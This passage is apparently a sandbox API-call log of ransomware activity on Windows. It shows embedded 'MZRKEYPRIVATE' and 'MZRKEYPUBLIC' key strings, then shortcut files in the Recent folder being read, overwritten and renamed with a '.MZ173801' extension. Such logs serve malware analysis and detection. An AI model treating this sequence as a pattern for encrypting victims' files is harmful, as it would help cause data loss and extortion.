lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.381] GetCurrentThreadId () returned 0xab4 [0152.382] GetCurrentThreadId () returned 0xab4 [0152.382] GetCurrentThreadId () returned 0xab4 [0152.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.387] GetCurrentThreadId () returned 0xab4 [0152.387] GetCurrentThreadId () returned 0xab4 [0152.387] GetCurrentThreadId () returned 0xab4 [0152.388] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UV46w2I sa.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\uv46w2i sa.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.390] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.390] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.391] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x288 [0152.391] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.392] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x288, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x288, lpOverlapped=0x0) returned 1 [0152.398] CloseHandle (hObject=0x280) returned 1 [0152.399] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UV46w2I sa.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\uv46w2i sa.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.410] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x288, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x288, lpOverlapped=0x0) returned 1 [0152.419] CloseHandle (hObject=0x280) returned 1 [0152.429] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UV46w2I sa.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\uv46w2i sa.flv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UV46w2I sa.flv.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\uv46w2i sa.flv.lnk.mz173801")) returned 1 [0152.433] GetCurrentThreadId () returned 0xab4 [0152.433] GetCurrentThreadId () returned 0xab4 [0152.433] GetCurrentThreadId () returned 0xab4 [0152.433] GetCurrentThreadId () returned 0xab4 [0152.433] GetCurrentThreadId () returned 0xab4 [0152.433] GetCurrentThreadId () returned 0xab4 [0152.433] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e7587f8, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e7587f8, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4e7587f8, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3ca, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="UwqXZEB.lnk", cAlternateFileName="")) returned 1 [0152.433] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.433] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.433] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UwqXZEB.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\uwqxzeb.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e7587f8, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e7587f8, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4e7587f8, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3ca)) returned 1 [0152.433] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UwqXZEB.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\uwqxzeb.lnk")) returned 0x20 [0152.433] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UwqXZEB.lnk", dwFileAttributes=0x80) returned 1 [0152.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 